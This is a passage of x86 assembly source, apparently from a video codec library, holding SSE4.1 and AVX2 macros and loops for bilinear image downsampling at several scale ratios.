%endif
sub i_dst_height, 1
je .final_row
jl .done
mov i_ypos, 1 << 14
movd xmm_xpos_frac, i_scalexd
pshufd xmm_xpos_frac, xmm_xpos_frac, 0
movdqa xmm_tmp0, xmm_xpos_frac
pslld xmm_tmp0, 2
pslldq xmm_xpos_frac, 4
paddd xmm_tmp0, xmm_xpos_frac
movdqa xmm_tmp1, xmm_xpos_frac
pslldq xmm_tmp1, 4
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
pslldq xmm_tmp1, 4
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
pcmpeqw xmm_tmp1, xmm_tmp1
psrld xmm_tmp1, 31
pslld xmm_tmp1, 15
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
movdqa xmm_xpos_int, xmm_xpos_frac
movdqa xmm_tmp1, xmm_tmp0
psrld xmm_xpos_int, 16
psrld xmm_tmp1, 16
packssdw xmm_xpos_int, xmm_tmp1
packuswb xmm_xpos_int, xmm_xpos_int
movdqa xmm_tmp1, xmm_xpos_int
pcmpeqw xmm_tmp2, xmm_tmp2
psubb xmm_tmp1, xmm_tmp2
punpcklbw xmm_xpos_int, xmm_tmp1
pslld xmm_xpos_frac, 16
pslld xmm_tmp0, 16
psrad xmm_xpos_frac, 16
psrad xmm_tmp0, 16
packssdw xmm_xpos_frac, xmm_tmp0
psrlw xmm_xpos_frac, 1
movd xmm_tmp0, i_scalexd
pslld xmm_tmp0, 3
movdqa xmm_tmp1, xmm_tmp0
punpcklwd xmm_tmp0, xmm_tmp0
pshufd xmm_tmp0, xmm_tmp0, 0
psrlw xmm_tmp0, 1
movdqa xmm_xpos_frac_inc, xmm_tmp0
psrld xmm_tmp1, 16
pxor xmm_tmp2, xmm_tmp2
pshufb xmm_tmp1, xmm_tmp2
movdqa xmm_xpos_int_inc, xmm_tmp1
movdqa xmm_xpos_int_begin, xmm_xpos_int
movdqa xmm_xpos_frac_begin, xmm_xpos_frac
cmp i_scalex, 4 << 16
ja .scalex_above4
cmp i_scalex, 2 << 16
ja .scalex_above2_beloweq4
SSE2_GeneralBilinearDownsampler_loop SSE41_BilinearAccurateDownsample2xOrLess_8px, 0
jmp .final_row
%ifdef X86_32
%undef xmm_yfrac0
%xdefine xmm_yfrac0 xmm_tmp5
%undef xmm_tmp5
%endif
.scalex_above2_beloweq4:
SSE2_GeneralBilinearDownsampler_loop SSE41_BilinearAccurateDownsample4xOrLess_8px, 0
jmp .final_row
.scalex_above4:
%xdefine xmm_xfrac0 xmm_xpos_frac
%xdefine xmm_xfrac1 xmm_xpos_int
%xdefine xmm_xfrac0_begin xmm_xpos_int_begin
%xdefine xmm_xfrac1_begin xmm_xpos_frac_begin
%xdefine xmm_xfrac_inc xmm_xpos_frac_inc
%undef xmm_xpos_int
%undef xmm_xpos_frac
%undef xmm_xpos_int_begin
%undef xmm_xpos_frac_begin
%undef xmm_xpos_int_inc
%undef xmm_xpos_frac_inc
SSE2_UnpckXFracw xmm_tmp0, xmm_xfrac1, xmm_xfrac0, xmm_7fff
movdqa xmm_xfrac0, xmm_tmp0
movdqa xmm_xfrac0_begin, xmm_xfrac0
movdqa xmm_xfrac1_begin, xmm_xfrac1
pcmpeqw xmm_tmp0, xmm_tmp0
pmullw xmm_tmp0, xmm_xfrac_inc
punpcklwd xmm_tmp0, xmm_xfrac_inc
movdqa xmm_xfrac_inc, xmm_tmp0
SSE2_GeneralBilinearDownsampler_loop SSE41_GeneralBilinearAccurateDownsample_8px, 0
.final_row:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
.final_row_width:
mov r_tmp0, i_xpos
shr r_tmp0, 16
movzx r_tmp0, byte [p_src_row0 + r_tmp0]
mov [p_dst], r_tmp0b
add p_dst, 1
add i_xpos, i_scalex
sub i_width_cnt, 1
jg .final_row_width
.done:
%ifdef X86_32
mov esp, [esp]
%endif
POP_XMM
LOAD_7_PARA_POP
%ifndef X86_32
%ifdef WIN64
pop rsi
pop rdi
%endif
pop rbp
pop rbx
pop r13
pop r12
%endif
ret
%undef p_dst
%undef i_dst_stride_less_width
%undef i_dst_width
%undef i_dst_height
%undef p_src
%undef i_src_stride
%undef i_scalex
%undef i_scalexd
%undef i_scaleyd
%undef i_xpos
%undef i_ypos
%undef i_yposd
%undef p_src_row0
%undef p_src_row1
%undef i_width_cnt
%undef r_tmp0
%undef r_tmp0b
%undef xmm_0
%undef xmm_xpos_frac
%undef xmm_xpos_frac_inc
%undef xmm_xpos_int
%undef xmm_xpos_int_inc
%undef xmm_yfrac0
%undef xmm_yfrac1
%undef xmm_tmp0
%undef xmm_tmp1
%undef xmm_tmp2
%undef xmm_tmp3
%undef xmm_tmp4
%undef xmm_tmp5
%undef xmm_7fff
%undef xmm_xpos_int_begin
%undef xmm_xpos_frac_begin
%undef xmm_xfrac0
%undef xmm_xfrac1
%undef xmm_xfrac0_begin
%undef xmm_xfrac1_begin
%undef xmm_xfrac_inc
%ifdef HAVE_AVX2
; xpos_int=%1 xpos_frac=%2 inc_int+1=%3 inc_frac=%4 tmp=%5
%macro AVX2_BilinearIncXposuw 5
vpaddusw %5, %2, %4
vpaddw %2, %2, %4
vpcmpeqw %5, %5, %2
vpaddb %1, %1, %3
vpaddb %1, %1, %5 ; subtract 1 if no carry
%endmacro
; outl=%1 outh=%2 in=%3 FFFFh/7FFFh=%4
%macro AVX2_UnpckXFrac 4
vpxor %1, %3, %4
vpunpckhwd %2, %1, %3
vpunpcklwd %1, %1, %3
%endmacro
; out0=%1 out1=%2 xfrac=%3 yfrac0=%4 yfrac1=%5
%macro AVX2_BilinearFastCalcXYFrac 5
vpmulhuw %2, %3, %5
vpmulhuw %1, %3, %4
%endmacro
; [in:dwordsl out:bytes] dwordsh=%2 zero=%3
%macro AVX2_BilinearFastPackDwordsToBytes 3
vpsrld %1, %1, 14
vpsrld %2, %2, 14
vpackssdw %1, %1, %2
vpavgw %1, %1, %3
vpackuswb %1, %1, %1
%endmacro
%macro AVX2_BilinearFastDownsample2xOrLess_16px 0
vpshufb ymm_tmp0, ymm_xpos_int, ymm_0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_ffff
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
lea i_xpos, [i_xpos + 8 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
vpshufb ymm_tmp4, ymm_tmp4, ymm_xpos_int
vpshufb ymm_tmp5, ymm_tmp5, ymm_xpos_int
AVX2_BilinearFastCalcXYFrac ymm_tmp0, ymm_tmp2, ymm_tmp0, ymm_yfrac0, ymm_yfrac1
vpunpcklbw ymm_tmp3, ymm_tmp4, ymm_0
vpmaddwd ymm_tmp0, ymm_tmp0, ymm_tmp3
vpunpcklbw ymm_tmp3, ymm_tmp5, ymm_0
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp3
vpaddd ymm_tmp0, ymm_tmp0, ymm_tmp2
AVX2_BilinearFastCalcXYFrac ymm_tmp1, ymm_tmp3, ymm_tmp1, ymm_yfrac0, ymm_yfrac1
vpunpckhbw ymm_tmp2, ymm_tmp4, ymm_0
vpmaddwd ymm_tmp1, ymm_tmp1, ymm_tmp2
vpunpckhbw ymm_tmp2, ymm_tmp5, ymm_0
vpmaddwd ymm_tmp3, ymm_tmp3, ymm_tmp2
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp3
AVX2_BilinearFastPackDwordsToBytes ymm_tmp0, ymm_tmp1, ymm_0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposuw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_tmp0
%endmacro
%macro AVX2_BilinearFastDownsample4xOrLess_16px 0
vbroadcasti128 ymm_tmp0, [shufb_0000000088888888]
vpshufb ymm_tmp0, ymm_xpos_int, ymm_tmp0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_ffff
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp3, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp3, ymm_tmp3, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex2]
lea i_xpos, [r_tmp0 + 4 * i_scalex2]
shr r_tmp0, 16
vpunpcklbw ymm_tmp2, ymm_xpos_int, ymm_ffff
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp2
vpshufb ymm_tmp3, ymm_tmp3, ymm_tmp2
AVX2_BilinearFastCalcXYFrac ymm_tmp0, ymm_tmp2, ymm_tmp0, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp0, ymm_tmp0, ymm_tmp4
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp3
vpaddd ymm_tmp0, ymm_tmp0, ymm_tmp2
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp3, [p_src_row1 + r_tmp0]
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 2 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp3, ymm_tmp3, [p_src_row1 + r_tmp0], 1
vpunpckhbw ymm_tmp2, ymm_xpos_int, ymm_ffff
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp2
vpshufb ymm_tmp3, ymm_tmp3, ymm_tmp2
AVX2_BilinearFastCalcXYFrac ymm_tmp1, ymm_tmp2, ymm_tmp1, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp1, ymm_tmp1, ymm_tmp4
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp3
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp2
AVX2_BilinearFastPackDwordsToBytes ymm_tmp0, ymm_tmp1, ymm_0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposuw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_tmp0
%endmacro
%macro AVX2_BilinearFastDownsample8xOrLess_16px 0
vbroadcasti128 ymm_tmp0, [shufb_000044448888CCCC]
vpshufb ymm_tmp0, ymm_xpos_int, ymm_tmp0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp0, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp0, ymm_tmp0, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp1, ymm_tmp1, [p_src_row1 + r_tmp0], 1
vpunpcklbw ymm_tmp3, ymm_xpos_int, ymm_ffff
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp3
vpshufb ymm_tmp5, ymm_tmp5, ymm_tmp3
vpshufb ymm_tmp0, ymm_tmp0, ymm_tmp3
vpshufb ymm_tmp1, ymm_tmp1, ymm_tmp3
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 11001100b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp1, 11001100b
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_ffff
AVX2_BilinearFastCalcXYFrac ymm_tmp0, ymm_tmp2, ymm_tmp0, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp0, ymm_tmp0, ymm_tmp4
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp5
vpaddd ymm_tmp0, ymm_tmp0, ymm_tmp2
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 4 * i_scalex2]
shr r_tmp0, 16
vmovdqu xmm_tmp2, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp3, [p_src_row1 + r_tmp0]
mov r_tmp0, i_xpos
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp2, ymm_tmp2, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp3, ymm_tmp3, [p_src_row1 + r_tmp0], 1
vpshufb ymm_tmp4, ymm_tmp4, ymm_xpos_int
vpshufb ymm_tmp5, ymm_tmp5, ymm_xpos_int
vpshufb ymm_tmp2, ymm_tmp2, ymm_xpos_int
vpshufb ymm_tmp3, ymm_tmp3, ymm_xpos_int
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp2, 10001000b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp3, 10001000b
vpunpckhbw ymm_tmp4, ymm_tmp4, ymm_0
vpunpckhbw ymm_tmp5, ymm_tmp5, ymm_0
AVX2_BilinearFastCalcXYFrac ymm_tmp1, ymm_tmp3, ymm_tmp1, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp1, ymm_tmp1, ymm_tmp4
vpmaddwd ymm_tmp3, ymm_tmp3, ymm_tmp5
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp3
AVX2_BilinearFastPackDwordsToBytes ymm_tmp0, ymm_tmp1, ymm_0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposuw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_tmp0
%endmacro
%macro AVX2_GeneralBilinearFastDownsample_16px 0
mov r_tmp0, i_xpos
shr r_tmp0, 16
vpbroadcastd ymm_tmp4, [p_src_row0 + r_tmp0]
vpbroadcastd ymm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpunpcklwd ymm_tmp4, ymm_tmp4, ymm_tmp0
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpunpcklwd ymm_tmp5, ymm_tmp5, ymm_tmp0
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 00100010b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp0, 00100010b
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0 - 2]
vpblendw ymm_tmp4, ymm_tmp4, ymm_tmp0, 1000b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0 - 2]
vpblendw ymm_tmp5, ymm_tmp5, ymm_tmp0, 1000b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vpbroadcastd ymm_tmp2, [p_src_row0 + r_tmp0]
vpbroadcastd ymm_tmp3, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpunpcklwd ymm_tmp2, ymm_tmp2, ymm_tmp0
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpunpcklwd ymm_tmp3, ymm_tmp3, ymm_tmp0
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp0, 00100010b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpblendd ymm_tmp3, ymm_tmp3, ymm_tmp0, 00100010b
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0 - 2]
vpblendw ymm_tmp2, ymm_tmp2, ymm_tmp0, 1000b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0 - 2]
vpblendw ymm_tmp3, ymm_tmp3, ymm_tmp0, 1000b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovd xmm_tmp0, [p_src_row0 + r_tmp0]
vmovd xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 1
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 2
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 3
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 3
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 00001111b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp1, 00001111b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovd xmm_tmp0, [p_src_row0 + r_tmp0]
vmovd xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 1
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 2
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 3
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 3
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp0, 00001111b
vpblendd ymm_tmp3, ymm_tmp3, ymm_tmp1, 00001111b
vpunpcklbw ymm_tmp4, ymm_tmp4, ymm_0
vpunpcklbw ymm_tmp5, ymm_tmp5, ymm_0
AVX2_BilinearFastCalcXYFrac ymm_tmp0, ymm_tmp1, ymm_xfrac0, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp0, ymm_tmp0, ymm_tmp4
vpmaddwd ymm_tmp1, ymm_tmp1, ymm_tmp5
vpaddd ymm_tmp0, ymm_tmp0, ymm_tmp1
vpunpcklbw ymm_tmp4, ymm_tmp2, ymm_0
vpunpcklbw ymm_tmp5, ymm_tmp3, ymm_0
AVX2_BilinearFastCalcXYFrac ymm_tmp1, ymm_tmp2, ymm_xfrac1, ymm_yfrac0, ymm_yfrac1
vpmaddwd ymm_tmp1, ymm_tmp1, ymm_tmp4
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp5
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp2
AVX2_BilinearFastPackDwordsToBytes ymm_tmp0, ymm_tmp1, ymm_0
vpermq ymm_tmp0, ymm_tmp0, 0010b
vmovdqu [p_dst], xmm_tmp0
add p_dst, 16
vpaddw ymm_xfrac0, ymm_xfrac0, ymm_xfrac_inc
vpaddw ymm_xfrac1, ymm_xfrac1, ymm_xfrac_inc
%endmacro
; xpos_int=%1 xpos_frac=%2 inc_int=%3 inc_frac=%4 7FFFh=%5 tmp=%6,%7
%macro AVX2_BilinearIncXposw 7
vpaddb %1, %1, %3
vpaddw %6, %2, %4
vpcmpgtw %7, %2, %6
vpsubb %1, %1, %7 ; add carry
vpand %2, %6, %5
%endmacro
; res>>29=%1 data0=%2 data1=%3 frac0=%4 frac1=%5 tmp=%6
%macro AVX2_LinearAccurateInterpolateVerticalDwords 6
vpshufd %1, %2, 10110001b
vpshufd %6, %3, 10110001b
vpmuludq %1, %1, %4
vpmuludq %6, %6, %5
vpaddq %1, %1, %6
vpmuludq %2, %2, %4
vpmuludq %3, %3, %5
vpaddq %2, %2, %3
vpsllq %1, %1, 3
vpsrlq %2, %2, 29
vpblendd %1, %1, %2, 01010101b
%endmacro
%macro AVX2_BilinearAccurateDownsample2xOrLess_16px 0
vpshufb ymm_tmp0, ymm_xpos_int, ymm_0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_7fff
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
lea i_xpos, [i_xpos + 8 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
vpshufb ymm_tmp4, ymm_tmp4, ymm_xpos_int
vpshufb ymm_tmp5, ymm_tmp5, ymm_xpos_int
vpunpcklbw ymm_tmp2, ymm_tmp4, ymm_0
vpunpcklbw ymm_tmp3, ymm_tmp5, ymm_0
vpunpckhbw ymm_tmp4, ymm_tmp4, ymm_0
vpunpckhbw ymm_tmp5, ymm_tmp5, ymm_0
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp0
vpmaddwd ymm_tmp3, ymm_tmp3, ymm_tmp0
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_tmp1
vpmaddwd ymm_tmp5, ymm_tmp5, ymm_tmp1
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp0, ymm_tmp2, ymm_tmp3, ymm_yfrac0, ymm_yfrac1, ymm_tmp1
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp1, ymm_tmp4, ymm_tmp5, ymm_yfrac0, ymm_yfrac1, ymm_tmp2
vpackssdw ymm_tmp0, ymm_tmp0, ymm_tmp1
vpavgw ymm_tmp0, ymm_tmp0, ymm_0
vpackuswb ymm_tmp0, ymm_tmp0, ymm_tmp0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_7fff, ymm_tmp0, ymm_tmp1
%endmacro
%macro AVX2_BilinearAccurateDownsample4xOrLess_16px 0
vbroadcasti128 ymm_tmp0, [shufb_0000000088888888]
vpshufb ymm_tmp0, ymm_xpos_int, ymm_tmp0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_7fff
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp2, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp2, ymm_tmp2, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex2]
lea i_xpos, [r_tmp0 + 4 * i_scalex2]
shr r_tmp0, 16
vpunpcklbw ymm_tmp3, ymm_xpos_int, [db80h_256]
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp3
vpshufb ymm_tmp2, ymm_tmp2, ymm_tmp3
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_tmp0
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp0
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp0, ymm_tmp4, ymm_tmp2, ymm_yfrac0, ymm_yfrac1, ymm_tmp3
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp2, [p_src_row1 + r_tmp0]
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 2 * i_scalex2]
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp2, ymm_tmp2, [p_src_row1 + r_tmp0], 1
vpunpckhbw ymm_tmp3, ymm_xpos_int, [db80h_256]
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp3
vpshufb ymm_tmp2, ymm_tmp2, ymm_tmp3
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_tmp1
vpmaddwd ymm_tmp2, ymm_tmp2, ymm_tmp1
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp1, ymm_tmp4, ymm_tmp2, ymm_yfrac0, ymm_yfrac1, ymm_tmp3
vpackssdw ymm_tmp0, ymm_tmp0, ymm_tmp1
vpavgw ymm_tmp0, ymm_tmp0, ymm_0
vpackuswb ymm_tmp0, ymm_tmp0, ymm_tmp0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_7fff, ymm_tmp0, ymm_tmp1
%endmacro
%macro AVX2_BilinearAccurateDownsample8xOrLess_16px 0
vbroadcasti128 ymm_tmp0, [shufb_000044448888CCCC]
vpshufb ymm_tmp0, ymm_xpos_int, ymm_tmp0
vpsubb ymm_xpos_int, ymm_xpos_int, ymm_tmp0
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp0, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp0, ymm_tmp0, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp1, ymm_tmp1, [p_src_row1 + r_tmp0], 1
vpunpcklbw ymm_tmp3, ymm_xpos_int, [db80h_256]
vpshufb ymm_tmp4, ymm_tmp4, ymm_tmp3
vpshufb ymm_tmp5, ymm_tmp5, ymm_tmp3
vpshufb ymm_tmp0, ymm_tmp0, ymm_tmp3
vpshufb ymm_tmp1, ymm_tmp1, ymm_tmp3
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 11001100b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp1, 11001100b
AVX2_UnpckXFrac ymm_tmp0, ymm_tmp1, ymm_xpos_frac, ymm_7fff
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_tmp0
vpmaddwd ymm_tmp5, ymm_tmp5, ymm_tmp0
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp0, ymm_tmp4, ymm_tmp5, ymm_yfrac0, ymm_yfrac1, ymm_tmp3
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovdqu xmm_tmp4, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex2]
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp4, ymm_tmp4, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp5, ymm_tmp5, [p_src_row1 + r_tmp0], 1
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 4 * i_scalex2]
